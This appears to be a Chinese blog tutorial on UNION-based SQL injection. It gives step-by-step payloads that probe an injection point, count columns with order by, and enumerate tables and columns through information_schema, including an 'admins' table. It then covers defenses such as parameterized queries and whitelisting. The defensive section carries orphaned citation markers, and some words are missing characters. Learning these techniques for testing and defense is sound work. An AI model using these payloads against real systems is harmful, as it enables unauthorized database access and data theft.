SQL注入之联合查询注入

SQL注入之联合查询注入

知识点

union联合查询

order by

information_schema

limit

select * from table limit m,n

其中m是指记录开始的index,从0开始,表示第一条记录

n是指从第m+1条开始,取n条。

select * from tablename limit 2,4

即取出第3条至第6条,4条记录

联合查询的步骤为:

1、判断是否存在注入点。

‘and 1=1 #

‘and 1=2 #

2、判断所在的数据库有几列

'order by 1 #

3、判断他显示的内容在数据库的第几列

yiz’ union select 1 #

4、查找当前用户权限

yiz’ union select user() #

5、 查找当前数据库

yiz’ union select database() #

6、 查找数据库的表名

yiz’union select (select table_name from information_schema.tables where table_schema=‘grade’ limit 0,1) #

7、查询数据库中表下的字段

yiz’union select (select group_concat(column_name) from information_schema.columns where table_schema=‘grade’ and table_name=‘admins’)#

8、 查询数据库下字段中的内容。
### SQL注入联合查询的利用方法和技巧 #### 联合查询的基本原理 联合查询(UNION Query)是SQL注入中一种常见的攻击方式,它通过将恶意构造的SQL语句附加到原始查询中,从而获取额外的数据。联合查询的核心在于使用`UNION`操作符将两个或多个SELECT语句的结果集合并为一个结果集。为了成功执行联合查询注入,攻击者需要确保以下条件[^1]: - 原始查询与构造的恶意查询返回的列数相同。 - 每一列的数据类型兼容。 #### 联合查询注入的利用方法 攻击者通常会利用联合查询来绕过输入验证并获取敏感信息。例如,假设存在一个未经过滤的登录单,其SQL查询可能如下所示: ```sql SELECT username, password FROM users WHERE username = '$username' AND password = '$password'; ``` 如果用户输入被直接拼接到SQL语句中,攻击者可以构造如下输入: ```plaintext ' UNION SELECT null, table_name FROM information_schema.tables -- ``` 这将导致最终执行的SQL语句变为: ```sql SELECT username, password FROM users WHERE username = '' UNION SELECT null, table_name FROM information_schema.tables -- ' AND password = ''; ``` 通过这种方式,攻击者可以枚举数据库中的所有[^3]。 #### 防御联合查询注入的方法 防御联合查询注入的关键在于从源头上杜绝恶意输入的影响。以下是几种有效的防御措施[^2]: 1. **参数化查询**:始终使用预编译语句和参数化查询,避免直接将用户输入嵌入SQL语句中。例如,在Python中可以使用`sqlite3`模块的参数化功能: ```python import sqlite3 conn = sqlite3.connect('database.db') cursor = conn.cursor() cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)) ``` 2. **白单过滤**:仅允许用户输入符合特定规则的数据。例如,如果应用程序只需要数字输入,则可以通过正则达式或类型检查进行过滤: ```python if not username.isdigit(): raise ValueError('Invalid username') ``` 3. **最小权限原则**:确保数据库用户的权限仅限于完成任务所需的最低权限。例如,Web应用程序的数据库账户不应具有删除或修改结构的权限[^4]。 4. **WAF(Web应用防火墙)**:部署WAF以检测和阻止常见的SQL注入模式。WAF可以作为额外的安全层,但不能完全替代其他防御措施。 #### 示例代码 以下是一个结合参数化查询和白单过滤的示例: ```python import re import sqlite3 def validate_username(username): # 白单过滤:仅允许字母、数字和下划线 if not re.match(r'^\w+$', username): raise ValueError('Invalid username') def authenticate_user(username, password): validate_username(username) # 白单过滤 conn = sqlite3.connect('database.db') cursor = conn.cursor() # 参数化查询 cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)) user = cursor.fetchone() conn.close() return user ``` ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值